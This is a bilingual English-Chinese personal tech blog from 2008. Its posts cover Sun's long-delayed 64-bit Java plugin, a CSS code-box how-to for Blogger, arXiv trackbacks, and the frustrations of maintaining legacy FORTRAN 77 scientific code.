Submitted on Jan. 14, 2003. Almost six years. 793 votes. You guys at Sun are making history.

Reading through the comments, I saw history unfolding itself before my eyes. Fedora Core 3. OS X Tiger. Its "state" and "priority" attributes has changed again and again in these six years. One anniversary after another anniversary.

I know this is not trivial stuff. JIT compiler for 64-bit platforms is not a something like changing a few gcc switches and linking against the 64-bit libraries. But why can't a giant like Sun make it given six years' time?

P.S. I really don't care that much. I don't use the Sun plugin (mine's the IcedTea one shipped with Fedora) and I detest all client-side Java stuff (I use NoScript), using it only when absolutely necessary. I'm glad they made a breakthrough. Still, not everybody thinks so.

How-to: creating a simple code sample box

2008-10-19T22:49:00.021+08:00

Disclaimer: IANAWD (I am not a Web developer) --- just tinkering around.

In short, it goes like this:

/*Style Sheet for THIS code block ITSELF. */ div.myCodeBlock { margin-left:auto; margin-right:auto; width: 80%; overflow: auto; padding: 15px; font-family: monospace; white-space: pre; color: #11593c; border-style: dotted; border-color: #6699cc; background-color: #eeeeee }

The above code is fairly self-explanatory. No special hacking is involved here. Be sure to use the proper "overflow" property --- sometimes the "short" code goes really loooooong.

So how to use the code? There are at least two ways.

Use the "style" attribute inside an XHTML tag. E.g.

<div style="margin-left:auto;margin-right:auto;width: 80%; ..." ... >

Pros: previewing works when editing the post.
Cons: you have to copy the same thing over and over each time.
Put the CSS code inside the blog template (Layout -> Edit HTML). Be sure to put up relevant comments so that later you'll remember what you've done. I chose this way.

You don't have to use the name "myCodeBlock". Just use one that doesn't clash with existing names in the template. It is always good to use a unique, consistent pattern for this kind of stuff. E.g. "yournameacronymClassDescription" or "ClassDescription_custom".

When editing a post, use it like this:

<div class="myCodeBlock" ... >

Pros: write once, use everywhere.
Cons: doesn't work with previewing.

There could be a small improvement to this how-to --- avoiding using hard-coded CSS colors. Looking at the XML template, we can find the <Variable> elements defining the colors. To use a variable, write $variablename in the place of the color value. It will be expanded when the page is generated.

By using variables, we can reuse the colors in the template, thus achieving better consistency. We can also define our own variables for better reuse and clarity.

Announcement for this new blog

2008-10-19T22:24:00.005+08:00

I've decided to put the tech stuff I wrote (or intend to write) here. They are not necessarily all serious stories. There could be random thoughts, simple or not-so-simple how-tos, work-related topics or inspirations.

As a native Chinese speaker, it is expected that I would write most of the stories in Chinese. However, there are times I find English would better suit my purpose so don't be surprised with the inconsistency.

Comments are welcome, particularly those correcting factual mistakes.

Thanks for your visit.

才知道arXiv.org支持Trackback了

2008-10-15T14:33:00.001+08:00

因为我不怎么读文献了，所以最近才知道这个新特性。

事情是这样的，昨天晚上睡不着觉，躺在床上拿手机上网，搜索我一直在想的一个主题，链接到了arXiv.org上。由于手机浏览器(OperaMini)的渲染方式把侧边栏的一些东西放在顶上方便浏览，所以直接就看到了那些social bookmarking的花花绿绿图标和Trackback链接。的确很方便，这样以后我躺在床上、半睡半醒的时候也可以给我的del.icio.us添加arXiv文章的链接了。

看来，arXiv一方面流量越来越大，另一方面离scientific publishing的cathedral越来越远了。这个时候重新读一读Ginsparg的Winners and Losers in the Global Research Village，也许我们想到的不只是一个经济意义上的新business model, 而是科学界新的协作方式 --- the long and much hyped Science 2.0 --- 的到来。

从一个简单的web app想到这些，是很不理性的。But hey, it's the Internet!

PITA maintaining zombie Fortran code

2008-10-11T00:29:00.004+08:00

NOTE: This story is cross-posted from The Little Tent of Blue. Comments are closed for this story --- you can still comment on the original post.

Something is rotten in the source code.

我要维护的代码，已经达到了内部惨不忍视的地步，如霉烂的麦穗一般。堆积如山的没有说明用途的全局变量，包含几十个函数、四千多行代码的文件，稀薄得几乎不存在的API文档，而且还是FORTRAN 77语言写成的（光这一项本身就有很多含义，比如这个程序无法接受命令行参数来改变运行状态，等）。虽然有代码在手，但是和没有是一样的。说它是zombie code而不是legacy code, 是因为这个程序仍处在上游人员的继续开发中，死而不僵……不知他们过的是什么生活。它今天成了这个样子，也是多年滚雪球一般堆叠、黏合的后果。

一共有两个需要维护的可执行程序A和B，它们用来完成一种科学计算任务。从一个初始输入，经过A、B的处理，得到一级结果，然后把它再用A、B处理，如此迭代，满足一定条件后，将得到最后有用的信息。然而令人难以想象的是，A和B竟然没有按照协作性来设计，A的输出无法作为B的输入，必须经过大量处理，方可喂给B. 比较可笑的是，A和B的唯一输出模式都是以人类可读为目标的，生成的是报表式的ASCII文档。为了实现自动控制的连续作业，必须把这里面的信息重新还原为机器可读的。即，执行某程序，然后undo它做过的一些事情。

现在，直接对原程序动手脚基本上已经无可能，因此只能采取将垃圾扫入地毯下的方法，编写另外的程序，按照一定的逻辑，有条件地fork/exec这两个预先编译好的A君和B君，在这个过程中收集整理信息并最后输出有意义的结果。这样看上去很没效率，但是现在worse is better, 只好先这样来了。写到这里突然想起来，可能那两个程序里根本没有写进去和环境交流的方法，如果作为子进程的它们遇到无法处理的异常而退出，那么这就意味着无法通过检查返回值的方法判断是否需要处理异常，因为它们可能总是返回0. 这听上去很别扭，但是很多Fortran程序真的没有按照不同运行情况返回不同值的做法，尽管这是编程的常识。很多这样的程序是科学家们写的，他们不关心程序，只要求number crunching能做到就好。透露一个事情，我计划编写的这个管理进程所做的工作，本来是要人工完成的，也就是用人力执行十几次、数十次甚至上百次的迭代，每次之间由人fork/exec一个文本编辑器，按照一定的逻辑进行修改并进入下一次循环。我要做的就是编写一个bot取代它。知道了这个事，那么认为我的计划效率差的观点就可以休矣了。

感觉像是赫拉克勒斯一系列考验中，清理如山的粪便那项任务。神话里的赫拉克勒斯，年少时主动选择了较为艰难的那条路，and that has made all the difference. 后来的一系列冒险、死亡和apotheosis都是以当时的选择为前提的。这一次选择，意义不亚于后面的种种经历。赫拉克勒斯力大无穷，其实选择的作用更大。具体选择什么，这个就不一定有高下之分，当时他选择好走的那条路也未尝不可，也可以有一个值得的生活，也可以是某种意义上的英雄。

如今做这个事情也是我自己的选择。不和神话比。我不是专业级别的开发人员，我无法靠这个小东西拿钱，这个事情最后也没有任何意义，只是满足某些PhD (i.e. Pointy-haired Doctor)而已，做得不好还有糟糕的后果（如同Sir Falstaff在《亨利四世》里说的伦理美德，它不能给人以失去的手足，但是可以要了违背它者的命）。不过，在如山的马粪里，说不定你们把马藏在什么地方了呢。这里引用此故事是很不自然的，因为我没有故事里那个小孩的authenticity. 虽然不自然，但是谁知道在以后看来，我会不会以另一种态度来发自内心地这样说呢？

写这些都没用。越写越觉得隔离而空洞。做这件事的过程中，那种不时的、和这事本身无关的anguish & angst才是有可能值得珍视的。

P.S. 关于手上的FORTRAN程序可能无法正确返回的问题，可以有一个方案，即编写wrapper, 通过检查FORTRAN程序的实际运行后果而返回正确的值，而bot进程实际调用这些wrappers. 但是这样也许就划不来了。

Worse Is Better

2008-10-07T21:58:00.003+08:00

果然如此。

你今天干的那点小事，人家Richard Gabriel之前早就预料到。其实在他之前也如此……